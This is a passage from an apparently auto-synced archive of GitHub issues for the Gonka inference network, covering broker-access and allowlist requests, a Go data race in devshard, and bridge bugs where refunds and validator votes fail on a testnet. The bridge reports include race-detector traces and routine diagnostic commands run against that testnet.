On the direct question (a broker API key for node4 specifically): there isn't a public self-serve onboarding process to point you to. node4 is the public gateway that was stood up during the early rollout — whitelisted and rate-limited, intended for demos and bootstrap testing rather than as a production backend. The handful of broker keys behind it were early access arrangements, not an open application flow, and that bootstrap directory isn't being actively expanded. So the requires an API key response you're seeing on node4 isn't something there's a documented \"apply here\" path to resolve — which is also why the signed-wallet SDK path doesn't work against it without one. The two paths that are governed and documented are: consume through an existing community broker, or operate your own allowlisted devshard gateway (on-chain governance allowlist).
For what you're actually building, the closest fit is a managed devshard endpoint. One community option is OpenBroker (run by Gonka Labs https://github.com/gonka-ai/gonka/discussions/1363): it gives you programmatic devshard access (v1, v2, and future versions) under a wallet that's already whitelisted to operate escrows, so you get the \"just hit an endpoint and go\" behavior of node4 but built for production rather than demos — no rate limits, no escrow lifecycle on your side, GNK billing with no markup (not a USD reseller), and public per-request/network observability.
It maps directly onto your fallback architecture (Gonka primary → OpenRouter fallback): just make OpenBroker the primary base_url.
OpenBroker is an independent third party, not part of the core protocol — pricing, models, limits, and data handling are set by the operator, so evaluate it on its own merits. If you later decide you do want to operate your own escrows after all, the on-chain allowlist route stays open.
🔄 Auto-synced from Issue #1331 every hour.
"}, {"location": "community/issues/01341-bug-devshard-data-race-on-inflight-receipttime-between-send-/", "title": "#1341 — [BUG] devshard: data race on inflight receiptTime between send goroutine and escalation scheduler (go test -race fails on main)", "text": "[BUG] devshard: data race on inflight receiptTime between send goroutine and escalation scheduler (go test -race fails on main) #1341 Closed @redstartechno opened 2026-06-12 20:05 UTC 3 comments Updated 2026-06-26 23:54 UTC"}, {"location": "community/issues/01341-bug-devshard-data-race-on-inflight-receipttime-between-send-/#summary", "title": "Summary", "text": "go test ./cmd/devshardctl/ -race -run TestRunInference fails on current main (8bd883ba3) with 15 data race reports across 13 tests. The dominant race (11 of the 15 reports) has production code on both sides: the send goroutine writes inf.receiptTime inside receiptOnce.Do (redundancy.go:1491) while the orchestrator's escalation scheduler reads inf.receiptTime.IsZero() without synchronization (redundancy.go:2251, in escalationForInflight ← nextEscalationTrigger ← awaitRace ← RunInference).
time.Time is a multi-word struct, so the Go memory model gives this read no guarantees — the scheduler can observe a torn or stale value and mis-schedule (or skip) the receipt-timeout escalation. The comment block at redundancy.go:1501-1512 documents a previous scheduler race of exactly this shape on sendTime, fixed by stamping it synchronously before the goroutine spawns; receiptTime has the same consumer but cannot be stamped synchronously (it is set when the receipt arrives), so it needs actual synchronization. The races also block ever enabling -race in CI for devshard. Found while race-testing an unrelated branch; reproduces identically on unmodified main.
go test -race).TestRunInference_* run reports it.sendTime fix in the comment describes).devshard/cmd/devshardctl (Redundancy.RunInference, escalation scheduling).Reproduce (Linux, Go 1.24.2, commit 8bd883ba3):
cd devshard\ngo test ./cmd/devshardctl/ -race -count=1 -run TestRunInference\n13 tests fail, including TestRunInference_HappyPath, TestRunInference_FastReceiptDoesNotSpuriouslyEscalate, TestRunInference_SpeculativeOnKill, TestRunInference_PerfTracking, and the stalled-winner scenarios.
Race 1 (primary, 11/15 reports): receiptHandler runs on the send goroutine and stamps inf.receiptTime = time.Now() inside inf.receiptOnce.Do(...) (redundancy.go:1491). Concurrently, escalationForInflight on the orchestrator goroutine reads inf.receiptTime.IsZero() (redundancy.go:2251) to decide whether to schedule the receipt-timeout escalation. The receiptOnce callback also does close(inf.receiptCh), which would provide the needed happens-before edge — but the reader checks the field directly instead of deriving \"receipt received\" from the channel.
Race 2 (secondary, stalled-winner scenarios): a still-running attempt's raceWriter.Write appends stream bytes to the shared group buffer while the orchestrator reads it via Buffer.String() (redundancy.go:1275 path).
Representative full report from the race detector (write side, read side, goroutine origin):
go test -race output (TestRunInference_HappyPath)WARNING: DATA RACE\nWrite at 0x00c0000c8070 by goroutine 31:\n devshard/cmd/devshardctl.(*Redundancy).startInflight.func1.1()\n devshard/cmd/devshardctl/redundancy.go:1491 +0x7b\n sync.(*Once).doSlow()\n /usr/local/go/src/sync/once.go:78 +0xe1\n sync.(*Once).Do()\n /usr/local/go/src/sync/once.go:69 +0x44\n devshard/cmd/devshardctl.(*Redundancy).startInflight.func1()\n devshard/cmd/devshardctl/redundancy.go:1490 +0xa4\n devshard/user.(*InProcessClient).Send()\n devshard/user/session.go:175 +0x115\n devshard/cmd/devshardctl.(*killableClient).Send()\n devshard/cmd/devshardctl/proxy_test.go:292 +0x26c\n devshard/user.(*Session).SendOnly()\n devshard/user/session.go:773 +0x42f\n devshard/cmd/devshardctl.(*Redundancy).startInflight.func2()\n devshard/cmd/devshardctl/redundancy.go:1520 +0x324\n\nPrevious read at 0x00c0000c8070 by goroutine 26:\n devshard/cmd/devshardctl.(*Redundancy).escalationForInflight()\n devshard/cmd/devshardctl/redundancy.go:2251 +0x484\n devshard/cmd/devshardctl.(*Redundancy).nextEscalationTrigger()\n devshard/cmd/devshardctl/redundancy.go:2210 +0x124\n devshard/cmd/devshardctl.(*Redundancy).awaitRace()\n devshard/cmd/devshardctl/redundancy.go:1921 +0x5e4\n devshard/cmd/devshardctl.(*Redundancy).RunInference()\n devshard/cmd/devshardctl/redundancy.go:1412 +0x1184\n devshard/cmd/devshardctl.TestRunInference_HappyPath()\n devshard/cmd/devshardctl/proxy_test.go:638 +0x174\n testing.tRunner()\n /usr/local/go/src/testing/testing.go:1792 +0x225\n\nGoroutine 31 (running) created at:\n devshard/cmd/devshardctl.(*Redundancy).startInflight()\n devshard/cmd/devshardctl/redundancy.go:1516 +0xa84\n devshard/cmd/devshardctl.(*Redundancy).startAdditionalInflight()\n devshard/cmd/devshardctl/redundancy.go:1636 +0xba4\n devshard/cmd/devshardctl.(*Redundancy).RunInference()\n devshard/cmd/devshardctl/redundancy.go:1396 +0x156b\n devshard/cmd/devshardctl.TestRunInference_HappyPath()\n devshard/cmd/devshardctl/proxy_test.go:638 +0x174\n testing.tRunner()\n /usr/local/go/src/testing/testing.go:1792 +0x225\n(The killableClient / test frames are the in-process stand-ins for remote hosts; in production the same write path runs through the real session client, so the racing accesses are production code in both reports.)
Possible fix direction (race 1): derive \"receipt received\" from receiptCh (non-blocking select on the closed channel) before touching inf.receiptTime, since close(receiptCh) already happens-after the timestamp write inside the Once — or guard the field with a mutex/atomic. Happy to send a small PR for this if maintainers agree on the direction; race 2 likely wants the group buffer access audited separately.
Hey @akup @x0152, what are your thoughts here?
@a-kuprin commented 2026-06-25 17:16 UTC@redstartechno fixed here: https://github.com/gonka-ai/gonka/commit/7b2c7b4dd946d37c32108103dad1a3cdfbdd6d25
@tcharchian commented 2026-06-26 23:54 UTCHi @redstartechno, this does not look like a bug or a vulnerability. It mostly seems to be a test-related issue, but I don’t see how it affects production code. Anyway, thanks for flagging
🔄 Auto-synced from Issue #1341 every hour.
"}, {"location": "community/issues/01342-gateway-allowlist-request/", "title": "#1342 — Gateway allowlist request", "text": "Gateway allowlist request #1342 Closed @appgencore opened 2026-06-13 07:39 UTC 1 comment Updated 2026-06-23 22:52 UTCHi Gonka team,
Requesting to join the Gateway allowlist. We are a bootstrapped startup studio building AI agents and automation tools. We are exploring decentralized AI infrastructure and would like to run inference directly on Gonka via a self-hosted gateway, paying GNK on-chain per request, rather than going through a third-party broker.
Operator: Den Contact Discord: gendevik GitHub: appgencore
Gonka creator address: gonka1cavsfewz9jrgqxeh5u55y37qxevyueglddtl63
Models planned: moonshotai/Kimi-K2.6 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 MiniMaxAI/MiniMax-M2.7
Purpose: Initial usage will be low-volume and private/internal only. Our goal is to understand the protocol, test the developer experience, and evaluate what products could be built on top of Gonka. We want to validate the full self-hosted flow end to end: devshard escrow creation, OpenAI-compatible API calls, inference reliability, settlement, and direct on-chain GNK payments.
If local validation works well, we may later submit a separate public broker request with a final project name, public endpoint, rate limits, billing model, and rollout plan.
Thanks!
"}, {"location": "community/issues/01342-gateway-allowlist-request/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 22:52 UTCHi! At the moment, the public broker list is not being actively expanded through governance. Inclusion in that list should be handled through the governance process and discussed in the community.
As a practical alternative, there is now a community-operated option for teams that want to start operating as brokers without waiting for direct access https://github.com/gonka-ai/gonka/discussions/1363.
OpenBroker provides access to Gonka inference through devshards v1 and v2 under an already whitelisted escrow-operating wallet. It is intended for teams that want to build or test broker-side products without handling escrow enrollment, escrow funding and rotation, v1/v2 state-root differences, or node4 access.
You can register here: https://openbroker.gonka.gg/register
Endpoint: https://openbroker.gonka.gg/v1
Stats: https://openbroker.gonka.gg/stats
This should let you start while the governance discussion around inclusion/white-listing continues separately.
🔄 Auto-synced from Issue #1342 every hour.
"}, {"location": "community/issues/01352-bridge-auto-refund-does-not-run-when-bls-signing-expires-exp/", "title": "#1352 — Bridge: auto-refund does not run when BLS signing expires (EXPIRED)", "text": "Bridge: auto-refund does not run when BLS signing expires (EXPIRED) #1352 Open @maria-mitina opened 2026-06-19 16:47 UTC 2 comments Updated 2026-07-07 23:26 UTC"}, {"location": "community/issues/01352-bridge-auto-refund-does-not-run-when-bls-signing-expires-exp/#summary", "title": "Summary", "text": "When an outbound RequestBridgeMint BLS request reaches terminal EXPIRED (threshold not met), the chain emits inference.bls.EventThresholdSigningFailed but does not auto-refund bridge escrow. GNK stays locked until the user calls cancel-bridge-operation with the plaintext request_id from bridge_mint_requested.
Reproduced twice on gonka-testnet-4 (manual test case #18). Unit tests pass in isolation; live integration fails.
Full evidence: docs/bridge-auto-refund-on-expired-bug.md (in working tree).
finalizeFailedThresholdSigningRequest → BlsHooks.AfterThresholdSigningFailed → ProcessAutoRefundForFailedBridgeOperation → escrow refund + bridge_operation_auto_refunded + BLS → CANCELLED.
KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA= Terminal block 36144 — EventThresholdSigningFailed bridge_operation_auto_refunded Absent Escrow while EXPIRED 29B ngonka (+1 GNK locked) BLS status EXPIRED (not CANCELLED) Manual cancel tx 9AA0F016… (plaintext req_36114_…) Success → escrow 28B Earlier run A (mint 8E610948… @ 35726): same pattern — EXPIRED, no auto-refund, manual cancel worked.
x/bls/keeper/threshold_signing.go: finalizeFailedThresholdSigningRequest / maybeCloseRetryAfterFailedPostProcessx/inference/module/bls_hooks.go: AfterThresholdSigningFailedx/inference/keeper/bridge_pending_refund.go: ProcessAutoRefundForFailedBridgeOperationSilent (false, nil) if hooks empty or pending not found — no retry queue for failure hooks.
TestProcessAutoRefundForFailedBridgeOperation_Mint calls refund logic directly and sets pending after expiry — does not wire BlsHooks on BLS keeper through ProcessThresholdSigningDeadlines.
cancel-bridge-operation --request-id <plaintext req_<height>_…> — not BLS base64 id.
BlsHooks → assert auto-refund.InvokeSetBlsHooks on deployed testnet/mainnet binaries.(false, nil).Medium — funds stuck in escrow without user action; manual cancel required (easy to get wrong request_id format). Reduced from High because the expired signature situation will happen during incidents, not normal operation.
request_id3. Verify keccak256(plaintext) matches BLS request_id4. BLS signing request state5. Failure block — EventThresholdSigningFailed, no auto-refund6. Escrow + minter balances7. Manual cancel tx (recovery)8. Node logs (hook errors)9. Pending refund map (export)Run A (earlier attempt @ 35726)Notes", "text": "@maria-mitina commented 2026-06-19 17:03 UTC Testnet evidence retrieval (gonka-testnet-4) Run on seed host 702111:
ssh decentai@xj7-5.s.filfox.io -p 18222\ncd /srv/dai\nexport NODE=http://localhost:8000/chain-rpc/\nexport INF_HOME=/srv/dai/.inference\nexport CHAIN_ID=gonka-testnet-4\nexport BIN=/srv/dai/inferenced\n\n# Run B (primary reproduction)\nexport MINT_HEIGHT=36114\nexport FAIL_HEIGHT=36144\nexport BLS_ID='KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA='\nexport CANCEL_TX='9AA0F01607708D5AA2CAF0D0BD0D3CA308510328753B7412CA439816D1E1D5B9'\nexport ESCROW=gonka1cjwjmyguyjaey70cgxxclxjh4wph3c8w0vvv63\nexport MINTER=gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\ncurl -s \"$NODE/status\" | jq '{height: .result.sync_info.latest_block_height, time: .result.sync_info.latest_block_time, chain: .result.node_info.network}'\n\n$BIN query bls params --node \"$NODE\" --home \"$INF_HOME\" -o json \\\n | jq '{signing_deadline_blocks, max_signing_attempts}'\nResult
{\n \"height\": \"45291\",\n \"time\": \"2026-06-20T05:28:57.967035312Z\",\n \"chain\": \"gonka-testnet-4\"\n}\n{\n \"signing_deadline_blocks\": null,\n \"max_signing_attempts\": null\n}\ncurl -s \"$NODE/block_results?height=$MINT_HEIGHT\" | python3 -c \"\nimport sys, json, base64, binascii\nr = json.load(sys.stdin)['result']\nfor txr in r.get('txs_results', []) or []:\n for ev in txr.get('events', []) or []:\n t = ev.get('type','')\n if t == 'bridge_mint_requested' or 'ThresholdSigning' in t:\n print('===', t, '===')\n for a in ev.get('attributes',[]):\n k,v = a.get('key'), a.get('value','')\n print(f' {k}: {v[:120]}...' if len(v)>120 else f' {k}: {v}')\n if 'ThresholdSigningRequested' in t:\n a = {x['key']: x['value'] for x in ev.get('attributes',[])}\n raw = a['request_id'].strip('\\\"')\n try: b = base64.b64decode(raw)\n except: b = bytes.fromhex(raw)\n print(' KEY_hex=', binascii.hexlify(b).decode())\n\"\n\ncurl -s \"$NODE/block_results?height=$MINT_HEIGHT\" | python3 -c \"\nimport sys, json\nfor txr in json.load(sys.stdin)['result'].get('txs_results', []) or []:\n for ev in txr.get('events', []) or []:\n if ev.get('type')=='bridge_mint_requested':\n for a in ev['attributes']:\n if a['key']=='request_id':\n open('/tmp/bridge_req_id.txt','w').write(a['value'])\n print('saved', len(a['value']), 'chars -> /tmp/bridge_req_id.txt')\n\"\n\nwc -c /tmp/bridge_req_id.txt\nThe result will be
wc -c /tmp/bridge_req_id.txt\n=== inference.bls.EventThresholdSigningRequested ===\n current_epoch_id: \"100\"\n deadline_block_height: \"36124\"\n encoded_data: \"AAAAAAAAAGR6BXY4EcPwvc/4BgmWVRU5T0QnRdqmEG9Vxbe07a56Oyg03Eoidya7+OZLzDor5Qw85x+DE92yiwdUGECkaRLgAAAAAAAAAAAAAAAAAAAAAAA...\n message_hash: \"C7anTdy4LtPfIbWxPX/OtO0oqqjyX2jOJ4LK2N9flI0=\"\n request_id: \"KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\"\n msg_index: 0\n KEY_hex= 2834dc4a227726bbf8e64bcc3a2be50c3ce71f8313ddb28b07541840a46912e0\n=== bridge_mint_requested ===\n user: gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\n amount: 1000000000\n destination_address: 0x274563BDF552ca7cC4E0C096e594D42fE21d5a35\n destination_bridge_address: 0x53eA3fF2057B7B7fb3d96A4ef63AE10558c08A9b\n chain_id: ethereum\n request_id: req_36114_0acd010aca010a292f696e666572656e63652e696e666572656e63652e4d7367526571756573744272696467654d696e74129c010a2c67...\n epoch_index: 100\n bls_request_id: req_36114_0acd010aca010a292f696e666572656e63652e696e666572656e63652e4d7367526571756573744272696467654d696e74129c010a2c67...\n msg_index: 0\nsaved 738 chars -> /tmp/bridge_req_id.txt\n738 /tmp/bridge_req_id.txt\ncd /srv/dai/gonka/proposals/ethereum-bridge-contact\nREQ_ID=\"$(cat /tmp/bridge_req_id.txt)\" node -e \"\nconst { keccak256, toUtf8Bytes } = require('ethers');\nconst b = Buffer.from(keccak256(toUtf8Bytes(process.env.REQ_ID)).slice(2), 'hex');\nconsole.log('computed=', b.toString('base64'));\nconsole.log('expected =', 'KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=');\nconsole.log('match=', b.toString('base64') === 'KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=');\n\"\nResult
computed= KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\nexpected = KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\nmatch= true\ncd /srv/dai\n$BIN query bls signing-history \\\n --node \"$NODE\" --home \"$INF_HOME\" \\\n --page-limit 500 -o json \\\n | jq --arg id \"$BLS_ID\" '.signing_requests[] | select(.request_id==$id)'\n\n$BIN query bls signing-history --node \"$NODE\" --home \"$INF_HOME\" --page-limit 500 --status-filter expired -o json \\\n | jq '.signing_requests[] | {request_id, status, created_block_height, deadline_block_height, attempt}'\n\n$BIN query bls signing-history --node \"$NODE\" --home \"$INF_HOME\" --page-limit 500 --status-filter cancelled -o json \\\n | jq '.signing_requests[] | {request_id, status, created_block_height, deadline_block_height, attempt}'\nResult - it is Cancelled because i cancelled manually the EXPIRED BLS tx and refunded manually as a test.
{\n \"request_id\": \"KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\",\n \"current_epoch_id\": \"100\",\n \"chain_id\": \"egV2OBHD8L3P+AYJllUVOU9EJ0XaphBvVcW3tO2uejs=\",\n \"data\": [\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE=\",\n \"CsXlVAEeF4b1Bz8kMHvW1ii+NAmDSyqIoH38Wvmzcu4=\",\n \"J0VjvfVSynzE4MCW5ZTUL+IdWjU=\",\n \"U+o/8gV7e3+z2WpO9jrhBVjAips=\",\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADuaygA=\"\n ],\n \"encoded_data\": \"AAAAAAAAAGR6BXY4EcPwvc/4BgmWVRU5T0QnRdqmEG9Vxbe07a56Oyg03Eoidya7+OZLzDor5Qw85x+DE92yiwdUGECkaRLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEKxeVUAR4XhvUHPyQwe9bWKL40CYNLKoigffxa+bNy7idFY731Usp8xODAluWU1C/iHVo1U+o/8gV7e3+z2WpO9jrhBVjAipsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO5rKAA==\",\n \"message_hash\": \"C7anTdy4LtPfIbWxPX/OtO0oqqjyX2jOJ4LK2N9flI0=\",\n \"status\": \"THRESHOLD_SIGNING_STATUS_CANCELLED\",\n \"created_block_height\": \"36114\",\n \"deadline_block_height\": \"36144\",\n \"attempt\": 3\n}\njq: error (at <stdin>:3): Cannot iterate over null (null)\n{\n \"request_id\": \"KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\",\n \"status\": \"THRESHOLD_SIGNING_STATUS_CANCELLED\",\n \"created_block_height\": \"36114\",\n \"deadline_block_height\": \"36144\",\n \"attempt\": 3\n}\n{\n \"request_id\": \"7Zr3ERnMcKniqxDd9eEqnM91iVLtvrrY+uAYUIIEOdg=\",\n \"status\": \"THRESHOLD_SIGNING_STATUS_CANCELLED\",\n \"created_block_height\": \"35726\",\n \"deadline_block_height\": \"35756\",\n \"attempt\": 3\n}\ncurl -s \"$NODE/block_results?height=$FAIL_HEIGHT\" | python3 -c \"\nimport sys, json\nfor ev in json.load(sys.stdin)['result'].get('finalize_block_events', []) or []:\n t = ev.get('type','')\n if 'bridge' in t or 'ThresholdSigning' in t:\n print('EVENT:', t)\n for a in ev.get('attributes',[]):\n print(' ', a.get('key'), '=', (a.get('value') or '')[:120])\n\"\n\nfor H in $(seq 36140 36148); do\n curl -s \"$NODE/block_results?height=$H\" | python3 -c \"\nimport sys, json\nh=int('$H')\nfor ev in json.load(sys.stdin)['result'].get('finalize_block_events', []) or []:\n t=ev.get('type','')\n if 'auto_refunded' in t or 'ThresholdSigning' in t:\n print(h, t)\n\"\ndone\nResult
EVENT: inference.bls.EventThresholdSigningFailed\n current_epoch_id = \"100\"\n reason = \"deadline expired\"\n request_id = \"KDTcSiJ3Jrv45kvMOivlDDznH4MT3bKLB1QYQKRpEuA=\"\n mode = EndBlock\n36144 inference.bls.EventThresholdSigningFailed\ncurl -s \"http://localhost:8000/chain-api/cosmos/bank/v1beta1/balances/$ESCROW\" \\\n | jq '{escrow: .balances[]|select(.denom==\"ngonka\")}'\n\ncurl -s \"http://localhost:8000/chain-api/cosmos/bank/v1beta1/balances/$MINTER\" \\\n | jq '{minter: .balances[]|select(.denom==\"ngonka\")}'\nResult - the 1 GNK returned after i manually cancelled
{\n \"escrow\": {\n \"denom\": \"ngonka\",\n \"amount\": \"28000000000\"\n }\n}\n{\n \"minter\": {\n \"denom\": \"ngonka\",\n \"amount\": \"8956654055738664\"\n }\n}\n$BIN query tx \"$CANCEL_TX\" --node \"$NODE\" -o json \\\n | jq '{height, txhash, codespace, code, raw_log, events: [.events[]? | select(.type|test(\"bridge\"))]}'\n\nH=$($BIN query tx \"$CANCEL_TX\" --node \"$NODE\" -o json | jq -r .height)\ncurl -s \"$NODE/block_results?height=$H\" | python3 -c \"\nimport sys, json\nfor txr in json.load(sys.stdin)['result'].get('txs_results',[]) or []:\n for ev in txr.get('events',[]) or []:\n if 'bridge' in ev.get('type',''):\n print(ev['type'])\n for a in ev.get('attributes',[]): print(' ', a['key'], '=', a['value'][:100])\n\"\nResult - proof of manual cancel and refund
{\n \"height\": \"36453\",\n \"txhash\": \"9AA0F01607708D5AA2CAF0D0BD0D3CA308510328753B7412CA439816D1E1D5B9\",\n \"codespace\": \"\",\n \"code\": 0,\n \"raw_log\": \"\",\n \"events\": [\n {\n \"type\": \"bridge_operation_cancelled\",\n \"attributes\": [\n {\n \"key\": \"request_id\",\n \"value\": \"req_36114_0acd010aca010a292f696e666572656e63652e696e666572656e63652e4d7367526571756573744272696467654d696e74129c010a2c676f6e6b61316676703271356c7933737532377134306e7a683866326367796d7775647161336172327a6d6a120a313030303030303030301a2a3078323734353633424446353532636137634334453043303936653539344434326645323164356133352208657468657265756d2a2a30783533654133664632303537423742376662336439364134656636334145313035353863303841396212580a500a460a1f2f636f736d6f732e63727970746f2e736563703235366b312e5075624b657912230a2102b0f9d5a7e59fff1abd8e0f54a19b54250d26b3f568632b298c0e5f0c492f699f12040a020801183e120410a48e321a40b1c6d90b1ebf7ff8d18ac6ed3b8fd1c170727919135adc6cd5f2d083b7d070fb04723dd6f7c961f077933bdbfca6c337b82f5ceb727907834200cacd2ee34e77\",\n \"index\": true\n },\n {\n \"key\": \"creator\",\n \"value\": \"gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\",\n \"index\": true\n },\n {\n \"key\": \"operation_type\",\n \"value\": \"mint\",\n \"index\": true\n },\n {\n \"key\": \"cancel_mode\",\n \"value\": \"user\",\n \"index\": true\n },\n {\n \"key\": \"refund_recipient\",\n \"value\": \"gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\",\n \"index\": true\n },\n {\n \"key\": \"msg_index\",\n \"value\": \"0\",\n \"index\": true\n }\n ]\n }\n ]\n}\nbridge_operation_cancelled\n request_id = req_36114_0acd010aca010a292f696e666572656e63652e696e666572656e63652e4d736752657175657374427269646765\n creator = gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\n operation_type = mint\n cancel_mode = user\n refund_recipient = gonka1fvp2q5ly3su27q40nzh8f2cgymwudqa3ar2zmj\n msg_index = 0\ndocker logs node 2>&1 | grep -iE \\\n '2834dc4a|KDTcSiJ3|threshold signing fail|auto-refund|Failed to run threshold|failed to auto-refund|36144' \\\n | tail -50\nResult - None in the logs.
$BIN export --home \"$INF_HOME\" --node \"$NODE\" 2>/dev/null \\\n | jq '{\n pending_mint_refunds: (.app_state.inference.bridge.pending_mint_refunds // []),\n count: ((.app_state.inference.bridge.pending_mint_refunds // []) | length)\n }'\nResult - Nothing - the refund was not listed in pending...
export MINT_HEIGHT=35726\nexport FAIL_HEIGHT=35756\nexport BLS_ID='7Zr3ERnMcKniqxDd9eEqnM91iVLtvrrY+uAYUIIEOdg='\n# re-run sections 2–5 with these heights\ncancel-bridge-operation --request-id must be the plaintext req_<height>_… from bridge_mint_requested (/tmp/bridge_req_id.txt), not the BLS base64 id (KDTcSiJ3…=).finalize_block_events, not txs_results.--page-limit (not --limit) for query bls signing-history.at the moment all filfox servers are down
when they come back, i will need to take back and restore the environment to continue with testing. The data above will be gone. But we can simulate again on request
🔄 Auto-synced from Issue #1352 every hour.
"}, {"location": "community/issues/01358-inbound-bridge-votes-lost-after-upgrade-simulation-node-unav/", "title": "#1358 — Inbound bridge votes lost after upgrade simulation (node unavailable for some minutes for upgrade) — no retry, deposits stuck BRIDGE_PENDING", "text": "Inbound bridge votes lost after upgrade simulation (node unavailable for some minutes for upgrade) — no retry, deposits stuck BRIDGE_PENDING #1358 Closed @maria-mitina opened 2026-06-22 17:39 UTC 0 comments Updated 2026-07-07 23:34 UTC bug Priority: High🔄 Auto-synced from Issue #1358 every hour.
"}, {"location": "community/issues/01358-inbound-bridge-votes-lost-after-upgrade-simulation-node-unav/#summary", "title": "Summary", "text": "Upgrade simulation (paused only the Gonka node container which halts the chain) while bridge (Geth) and api stay up. Inbound bridge deposits are detected and queued on unpause, but validator votes can be lost silently with no automatic recovery. Deposits can remain BRIDGE_PENDING indefinitely (majority never reached, no mint).
Observed on gonka-testnet-4 (3 validators) during a controlled docker pause node test with Sepolia USDT inbound.
Full write-up in repo: docs/bridge-inbound-pause-test-report.md
11116928 Receipt index 199 Receipts root 0x89909ccf6494c61516e0e0bfe45867dc96a566b500566b39ad3462d5ab38068f USDT contract 0x7169d38820dfd117c3fa1f22a697dba58d90ba06 Gonka recipient gonka1qdwgkcxww42sxmcm9gk0trvugev2g0248upwyq On-chain result: BRIDGE_PENDING, 1 validator (gonka1zwcutshh…), totalValidationPower: 21459. Wrapped USDT balance unchanged at 2.
GET /v1/bridge/addresses.11116928 to all three APIs. Join validators logged Processing receipt with no Error processing bridge exchange.getNextBlock() deletes the block from pendingBlocks before processing. Failed votes are not re-queued. The 5-minute ticker only drains remaining queue entries.
decentralized-api/internal/server/public/bridge_handlers.go — getNextBlock, processReceipt
MsgBridgeExchange uses SendTransactionAsyncNoRetry", "text": "Bridge votes bypass the halt-aware retry path used by PoC/validation:
updateChainHalt() halt flag is ignored; broadcast still attempted during stale/halted chain.broadcastMessage returns nil error even when resp.Code != 0 (CheckTx failure only logged as Broadcast failed immediately in tx_manager).decentralized-api/cosmosclient/cosmosclient.go — BridgeExchange decentralized-api/cosmosclient/tx_manager/tx_manager.go — SendTransactionAsyncNoRetry, broadcastMessage
Each finalized Ethereum block is POSTed once to /admin/v1/bridge/block. HTTP 200 (Block queued) advances the cursor regardless of whether the on-chain vote succeeded. No reconciliation for BRIDGE_PENDING txs.
bridge/script.sh (--bridge.postblock)
Unordered txs use timeout = latestBlockTime + 60s. After a long pause, latestBlockTime is stale → timeout can be in the past → CheckTx rejection. Bridge handler still logs Processing receipt and drops the block from queue.
BRIDGE_PENDING foreverProcessing receipt log is misleading (success appearance on failure)bridge-exchange CLIBridgeExchange (resp.Code != 0 / classifyBroadcastResponse)SendTransactionAsyncWithRetry or equivalent)BRIDGE_PENDING receiptsinferenced q inference bridge-transaction \\\n --origin-chain ethereum --block-number 11116928 --receipt-index 199 \\\n --node http://localhost:8000/chain-rpc/ -o json\n\ndocker logs api 2>&1 | grep -iE 'Broadcast failed|node block time is stale|Error processing bridge'\nManual reproduction of Scenario A (coordinated node halt with bridge + api kept running) on gonka-testnet-4 with a live Sepolia USDT inbound deposit. Result: FAIL — deposit ingested by API on all hosts, but only 1/4 validator votes landed on-chain; deposit remains BRIDGE_PENDING with no second USDT mint.
Relates to #1358.
"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#test-environment", "title": "Test environment", "text": "Item Value Networkgonka-testnet-4 Validators 4 hosts on xj7-5.s.filfox.io Images api:0.2.13-post1, bridge:0.2.14, inferenced:0.2.13 Sepolia bridge 0x5941d32709048aded24A1b7E1abFCe1Cf70210FB Sepolia USDT 0x7169D38820dfd117C3FA1f22a697dBA58d90BA06"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#hosts", "title": "Hosts", "text": "SSH port Hostname Validator address 18222 702111 gonka1uthgqf4yapkw5356uud29cjk7u4rqd52pc6j0w 18223 702127 gonka1qrz72h8qf9dmjaqs26jxmq2q9aymh0667gmuzv 18226 702105 gonka1kz8n0devnsjq9g7plw7r5nrlxl8h6t22j3nna4 18221 702112 gonka1g5g4fmutlzv5t9mdhsf0ldc4rgjhmf0vakwc3w"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#sepolia-deposit-test-transaction", "title": "Sepolia deposit (test transaction)", "text": "Field Value Tx hash 0xbfc879d10c489090df4ba7a245075909564c915d228cd1252409497a0ab3266f Etherscan https://sepolia.etherscan.io/tx/0xbfc879d10c489090df4ba7a245075909564c915d228cd1252409497a0ab3266f Sepolia block 11156647 Sepolia time 2026-06-28 07:00:36 UTC Receipt index 212 Receipts root 0x09cf1eff7decf066a0e23616c408ac93f6a1dd88df2581b16b3abd41268530b0 Amount 1 USDT (1000000 base units) ETH sender 0x274563BDF552ca7cC4E0C096e594D42fE21d5a35 Gonka recipient gonka1qdwgkcxww42sxmcm9gk0trvugev2g0248upwyq"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#procedure", "title": "Procedure", "text": "node containers stopped manually (dc stop node); api + bridge kept running.node down broke API startup).node containers restarted.gonka1g5g4f… Yes @ 07:20:38 Yes Vote recorded 18222 702111 gonka1uthgqf… Yes @ 07:20:25 No Broadcast failed 18223 702127 gonka1qrz72h… Yes @ 07:20:25 No Broadcast failed 18226 702105 gonka1kz8n0d… Yes @ 07:20:25 No Broadcast failed"}, {"location": "community/issues/01370-bridge-scenario-a-inbound-usdt-stuck-bridge-pending-after-co/#on-chain-state-after-test", "title": "On-chain state (after test)", 